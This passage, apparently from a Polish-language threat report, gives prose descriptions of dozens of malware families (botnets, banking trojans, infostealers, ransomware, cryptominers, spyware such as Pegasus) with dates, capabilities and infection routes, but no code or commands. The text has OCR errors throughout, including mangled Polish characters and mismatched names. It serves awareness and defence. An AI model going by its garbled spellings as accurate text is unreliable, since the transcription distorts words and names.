forach hakerskich, ponadto z duzym prawdopodobiefnstwem wyciekt jego kod Zrédtowy,
co umozliwito opracowanie wielu wariantéw tego rozwiazania. Po raz pierwszy zostat
zaobserwowany w lutym 2016 roku.

Mirai to cieszace sie zta stawa ztosliwe oprogramowanie atakujace urzadzenia
internetu rzeczy (loT), ktére namierza podatne na ataki urzadzenia loT, takie jak
kamery internetowe, modemy i routery, a nastepnie zamienia je w boty. Botnet jest
wykorzystywany przez jego operatoréow do przeprowadzania masowych atakow typu
DDoS. Botnet Mirai zostat wykryty po raz pierwszy we wrzesniu 2016 roku i szybko
trafit na pierwsze strony gazet dzieki kilku zakrojonym na szeroka skale atakom, w tym
masowemu atakowi DDoS, ktéry spowodowat odtaczenie Liberii od internetu, a takze
atakowi DDoS na firme Dyn, ktdra obstugiwata wéwczas znaczaca czes¢ infrastruktury
internetowej w Stanach Zjednoczonych.

MyloBot

Mylobot to wyrafinowany botnet, ktéry po raz pierwszy zostat zaobserwowany w czerwcu
2018 roku. Jest wyposazony w zaawansowane mozliwosci unikania wykrycia, ktdre
pozwalaja mu skutecznie chronié sie przed uruchomieniem w maszynach wirtualnych i
piaskownicach, a takze debuggingiem. Botnet pozwala atakujacemu przejaé catkowita
kontrole nad systemem uzytkownika, a takze pobrac¢ dowolne dane z serwera kontroli.

NanoCore

NanoCore to trojan zdalnego dostepu, opracowany z mysla o uzytkownikach systemow
operacyjnych z rodziny Windows. Zostat po raz pierwszy zaobserwowany w 2013 roku.
Wszystkie wersje tego trojana zawieraja podstawowe wtyczki i funkcje, takie jak zbieranie
zrzutow ekranu, kopanie kryptowalut, przejecie zdalnej kontroli nad pulpitem uzytkownika
oraz przechwytywanie obrazu z kamery internetowe;.
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NRSMiner

NSRMiner to kryptominer, ktéry po raz pierwszy pojawit sie okoto listopada 2018 roku
i rozprzestrzeniat sie gtownie w Azji - w Wietnamie, Chinach oraz Japonii, jednak
trafit réwniez do Ekwadoru. Po infekcji ztosliwe oprogramowanie wykorzystuje stynny
exploit SMB EternalBlue, by w ten sposéb rozprzestrzenic sie na inne podatne na ataki
komputery w sieci, a nastepnie rozpoczyna wydobywanie kryptowaluty Monero (XMR).

Pegasus

Pegasus to wysoce zaawansowane oprogramowanie szpiegowskie, opracowane z
mysla o urzadzeniach mobilnych z systemami Android i iOS przez izraelska spotke
NSO Group. Oprogramowanie Pegasus jest dostepne w sprzedazy dla organizacji
rzadowych oraz korporacji. Pegasus potrafi wykorzystac luki w zabezpieczeniach, ktére
umozliwiaja mu ciche ztamanie zabezpieczen urzadzenia i zainstalowanie ztosliwego
oprogramowania. Infekcja oprogramowaniem Pegasus odbywa sie na kilka sposobow:
za pomoca phishingowych wiadomosci SMS zawierajacych ztosliwe odnosniki, a takze
dzieki przekierowaniom adresu URL - zadna z tych metod nie wymaga od uzytkownika
zadnego dziatania. Pegasus obejmuje wiele modutéw szpiegowskich pozwalajacych
na wykonywanie zrzutdw ekranu, nagrywanie rozmdw, dostep do komunikatordw,
rejestrowanie nacisnie¢ klawiszy i przechwytywanie historii przegladarki.

Phorpiex

Phorpiex (znany takze pod nazwa Trik) to botnet aktywny od 2010 roku, ktéry w okresie
najwiekszej popularnosci kontrolowat ponad milion zainfekowanych urzadzen. Jest
wykorzystywany do rozprzestrzeniania innych rodzin szkodliwego oprogramowania za
posrednictwem kampanii spamowych, a takze realizacji kampanii spamowych, kampanii
wymuszen na tle seksualnym oraz rozpowszechniania oprogramowania ransomware.

Qbot, znany takze pod nazwa QakBot jest trojanem bankowym, ktdry po raz pierwszy
pojawit sie w 2008 roku. Zostat zaprojektowany w celu wykradania danych kont bankowych
oraz przechwytywania naciénie¢ klawiszy przez ofiary. Qbot, czesto rozpowszechniany

za posrednictwem spamu, wykorzystuje szereg technik pozwalajacych na unikniecie
wykrycia w przypadku uruchomienia w maszynie wirtualnej, narzedziach do debugowania
oraz piaskownicach, utrudniajac analize.

Raccoon

Raccoon - ztosliwe oprogramowanie wykradajace dane - zostat zaobserwowany po

raz pierwszy w kwietniu 2019 roku. Atakuje systemy operacyjne z rodziny Windows

i jest dostepny w modelu Malware-as-a-Service na podziemnych forach. To proste
oprogramowanie typu infostealer, pozwalajace na gromadzenie plikow cookie
przegladarki, historii, danych logowania, portfeli kryptowalut i danych kart kredytowych.
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Ragnar Locker

Ragnar Locker to oprogramowanie ransomware, zaobserwowane po raz pierwszy w
grudniu 2019 roku. W celu ukrycia swojej aktywnosci stosuje wyrafinowane techniki
unikania wykrycia, w tym instalacje w maszynie wirtualnej na komputerze ofiary. Ragnar
zostat wykorzystany w ataku na portugalskie panstwowe przedsiebiorstwo energetyczne
w ramach ktérego przestepcy wykorzystali podwdjne wytudzenie, publikujac poufne dane
wykradzione z systemdw organizacji.

Ramnit

Ramnit jest modutowym trojanem bankowym, ktdry zostat odkryty po raz pierwszy w
2010 roku. Ramnit wykrada informacje o sesji internetowej, co daje jego operatorom
mozliwos¢ wykradania danych uwierzytelniajacych konta we wszystkich serwisach,

z ktérych korzysta ofiara, w tym konta bankowe, konta firmowe i konta w portalach
spotecznosciowych. Trojan wykorzystuje zardwno skonfigurowane domeny, jak i domeny
wygenerowane przez algorytm DGA do utrzymania kontaktu z serwerem kontroli i
pobierania dodatkowych modutdw.

RedLine Stealer

RedLine Stealer to ztosliwe oprogramowanie wykradajace dane, ktére zostato
zaobserwowane po raz pierwszy w marcu 2020 roku. Oprogramowanie dostepne w
modelu Malware-as-a-Service i czesto rozpowszechniane za posrednictwem ztosliwych
zatacznikow poczty elektronicznej posiada wszystkie mozliwosci, ktdre pozwalaja mu na
skuteczne gromadzenie danych. Umozliwia miedzy innymi kradziez danych z przegladarek
internetowych (dane kart kredytowych, pliki cookie sesji i dane autouzupetnianial, kradziez
portfeli kryptowalut, mozliwos¢ pobierania dodatkowych modutdw i wiele innych dziatan.

Remcos

Remcos to trojan zdalnego dostepu, ktdrego pierwsze prébki zostaty zaobserwowane

w 2016 roku Remcos rozprzestrzenia sie za posrednictwem ztosliwych dokumentéw
pakietu Microsoft Office dotaczanych do wiadomosci-Smieci. Oprogramowanie zostato
zaprojektowane z mysla o obchodzeniu zabezpieczen UAC systemu Microsoft Windows i
wykonywania ztosliwego oprogramowania z wysokopoziomowymi uprawnieniami.

RigEK

RigEK, czyli najstarszy i najbardziej znany z obecnie wykorzystywanych zestawoéw
exploitéw, jest dostepny od potowy 2014 roku. Jest dostepny w formie ustugi na forach
hakerskich i w sieci TOR. Niektdrzy przedsiebiorczy hakerzy odsprzedaja nawet infekcje
tworcom ztosliwego oprogramowania, ktérzy nie moga sobie jeszcze pozwolié na
petnowartosciowa ustuge. Na przestrzeni lat przestepcy rozwijali mozliwosci rozwiazania
RigEK - dzieki temu obecnie pozwala na dostarczanie réznych rodzajéw ztosliwego
oprogramowania, od AZORult i Dridex po mato znane oprogramowanie ransomware |
kryptominery.
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RubyMiner

RubyMiner zostat po raz pierwszy wykryty w styczniu 2018 roku. Dziata na serwerach
pracujacych pod kontrola systeméw Windows, jak i Linux. RubyMiner wyszukuje podatne
na ataki serwery WWW - PHP, Microsoft IIS i Ruby on Rails - w celu wykorzystania ich
zasobow do kopania kryptowalut przy uzyciu otwartozrédtowej koparki kryptowaluty
Monero XMRig.

Ryuk

Ryuk to oprogramowanie ransomware wykorzystywane przez gang TrickBot w
ukierunkowanych i doskonale zaplanowanych atakach na kilka organizacji z catego swiata.
Samo ztosliwe oprogramowanie opiera sie na kodzie ransomware Hermes, ktérego
mozliwosci techniczne sa stosunkowo niewielkie. Ryuk obejmuje ponadto podstawowy
dropper oraz prosty schemat szyfrowania. Mimo to Ryuk byt w stanie wyrzadzi¢ powazne
szkody w organizacjach, ktére padty celem atakéw - przestepcom udato sie wymusi¢ na
nich zaptate wysokich okupéw w BTC. W przeciwienstwie do typowego oprogramowania
ransomware, ktdre jest systematycznie rozprzestrzeniane za posrednictwem masowych
kampanii spamowych i zestawdw exploitdw, Ryuk jest wykorzystywany wytacznie w
atakach ukierunkowanych.

Snake Keylogger

Snake Keylogger jest modutowym keyloggerem i ztosliwym oprogramowaniem
zaprogramowanym w jezyku .NET. Pojawit sie pod koniec 2020 roku i szybko zyskat
popularnosc wsrdd cyberprzestepcéw. Snake potrafi rejestrowac nacisniecia klawiszy,
wykonywac zrzuty ekranu, zbiera¢ dane uwierzytelniajace i wykradaé zawartosc schowka.
Pozwala takze na przesytanie wykradzionych danych za pomoca protokotéw HTTP i SMTP.

REvil (znany takze pod nazwa Sodinokibi) to oprogramowanie ransomware dostepne w
modelu ustugowym z wtasnym programem partnerskim. Po raz pierwszy jego probki
zostaty wykryte w 2019 roku. REvil szyfruje dane w katalogu uzytkownika i usuwa kopie
zapasowe, aby utrudni¢ odzyskanie danych. Podmioty wykorzystujace to oprogramowanie
stosuja rozne taktyki jego rozpowszechniania, poczawszy od spamu i wykorzystywania
podatnosci, az po wtamania do systemdw backendowych dostawcow ustug zarzadzanych
(MSP) oraz poprzez kampanie malvertisingowe przekierowujace ofiary do RIG Exploit Kit.

SparrowDoor

SparrowDoor to zaawansowany backdoor wykorzystywany przez grupe APT
FamousSparrow do szpiegowania hoteli, organizacji rzadowych oraz innych podmiotéw.
Pierwsze wykrycie zostato zarejestrowane w marcu 2021 roku. W celu infekcji przestepcy
wykorzystywali luke w zabezpieczeniach Microsoft Exchange ProxyLogon. Backdoor

jest tadowany dzieki przejeciu biblioteki DLL w potaczeniu z niezainfekowanym plikiem
binarnym, co pozwala skutecznie oszuka¢ skanery antywirusowe.
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SunBurst

SunBurst to backdoor, ktdry zostat umieszczony w oprogramowaniu Orion firmy
SolarWinds w 2020 roku w ramach ataku na tancuch stynnego ataku na tancuch dostaw,
ktérego ofiarami padty tysiace organizacji na catym $wiecie. To trwaty backdoor, ktéry
zapewnit atakujacym dostep do wewnetrznych sieci organizacji. Jesli zainfekowane
maszyny spetniaty wszystkie wymagania i ztosliwe oprogramowanie nie wykryto zadnych
ustug znajdujacych sie na czarnej liscie ani oprogramowania antywirusowego, Sunburst
pozwalat na instalacje kolejnych ztoéliwych modutéw (takich jak na przyktad TearDrop),
ktdre umozliwiaty wykonywanie polecen oraz rozprzestrzenianie sie w sieci.

Triada

Triada to modutowy backdoor dziatajacy w systemie operacyjnym Android, wykryty po raz
pierwszy w 2016 roku. Pozwala atakujacemu na uzyskanie uprawnien administratora w
celu pobrania ztosliwego oprogramowania. Jego najnowsza wersja jest rozprowadzana za
posrednictwem zestawdw do tworzenia oprogramowania adware dla aplikacji WhatsApp w
systemie Android.

TrickBot

TrickBot to modutowy trojan bankowy, ktérego autorstwo przypisuje sie grupie
przestepczej WizardSpider. Najczesciej obserwuje sie rozpowszechnianie prébek za
posrednictwem kampanii spamowych lub innych rodzin ztosliwego oprogramowania,
takich jak Emotet i BazarLoader. TrickBot wysyta informacje o zainfekowanym systemie,
a takze moze pobierac i uruchamia¢ dowolne moduty z szerokiej gamy obejmujace;j
miedzy innymi modut VNC do zdalnego sterowania oraz modut SMB pozwalajacy na
dalsze rozprzestrzenianie sie infekcji w zaatakowanej sieci. Gdy komputer zostanie
zainfekowany, przestepcy wykorzystuja szeroki wachlarz modutow nie tylko do kradziezy
danych bankowych z urzadzenia, ale takze do dalszego rozprzestrzeniania infekcji oraz
prowadzenia rozpoznania w sieci organizacji przed przeprowadzeniem ataku ransomware
na cata firme.

Ursnif

Ursnif jest wariantem trojana bankowego Gozi dla systemu Windows, ktérego kod
zrédtowy zostat opublikowany w sieci. Umozliwia on kradziez danych bankowych i danych
uwierzytelniajacych do popularnych ustug internetowych. Ponadto, pozwala na kradziez
informacji z lokalnych klientéw poczty elektronicznej, przegladarek i portfeli kryptowalut.
Moze réwniez pobierac i uruchamia¢ dodatkowe pliki w zainfekowanym systemie.

Vidar to ztosliwe oprogramowanie do kradziezy danych, ktérego celem sa systemy
operacyjne z rodziny Windows, wykryte po raz pierwszy pod koniec 2018 roku. Jego twdrcy
zaprojektowali je z mysla o kradziezy haset, danych kart kredytowych i innych poufnych
informacji z réznych przegladarek internetowych i portfeli cyfrowych. Oprogramowanie
Vidar jest sprzedawane na wielu forach internetowych i wykorzystywane jako dropper
pobierajacy ransomware GandCrab.
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WannaMine

WannaMine to wyrafinowany robak potaczony z koparka kryptowaluty Monero, ktdry
rozprzestrzenia exploit EternalBlue. WannaMine wykorzystuje mechanizm Windows
Management Instrumentation (WMI) w celu rozprzestrzeniania infekcji oraz skutecznego
unikania usuniecia.

xHelper

xHelper to ztosliwe oprogramowanie dla systemu Android, wyswietlajace natretne
reklamy pop-up i niechciane powiadomienia. Po zainstalowaniu bardzo trudno jest je
usunac ze wzgledu na wbudowane mozliwosci ponownej instalacji. Po raz pierwszy
zaobserwowano je w marcu 2019 roku - od tamtej pory xHelper zainfekowat juz ponad 45
000 urzadzen.

XMRig

XMRig to otwartozrédtowe oprogramowanie do kopania kryptowaluty Monero. Przestepcy
bardzo czesto wykorzystuja je w celu integracji ze swoim ztosliwym oprogramowaniem w
celu prowadzenia nielegalnego kopania kryptowalut na urzadzeniach ofiar.

ZlLoader

Zloader to ztosliwe oprogramowanie bankowe, ktére wykorzystuje moduty Weblnjects
wykorzystywane w celu przechwytywania danych uwierzytelniajacych i prywatnych
informacji. Potrafi takze uzyskac hasta i pliki cookie z przegladarki internetowej ofiary.
ZlLoader moze pobra¢ modut VNC, ktéry umozliwia przestepcom taczenie sie z systemem
ofiary i wykonywanie transakcji finansowych z urzadzenia uzytkownika. Trojan, ktéry po
raz pierwszy pojawit sie w 2016 roku. Opiera sie na kodzie ztosliwego oprogramowania
Zeus z 2011 roku. W 2020 roku ZLoader byt niezwykle popularny wsréd przestepcéw -
powstato takze wiele nowych wariantdw tego oprogramowania.

zOMiner

Z0Miner, zaobserwowany po raz pierwszy w listopadzie 2020 roku, to kryptominer, ktory
zostat znaleziony na tysiacach serwerdw wykorzystujacych luke w rozwiazaniu Oracle
WebLogic Server pozwalajaca na zdalne wykonywanie kodu. PdzZniej grupa stojaca za
Z0minerem wykorzystywata podatnosci pozwalajace na zdalne wykonywanie kodu w
oprogramowaniu Atlassian Confluence (CVE-2021-26084) do infekowania kolejnych
serwerow.
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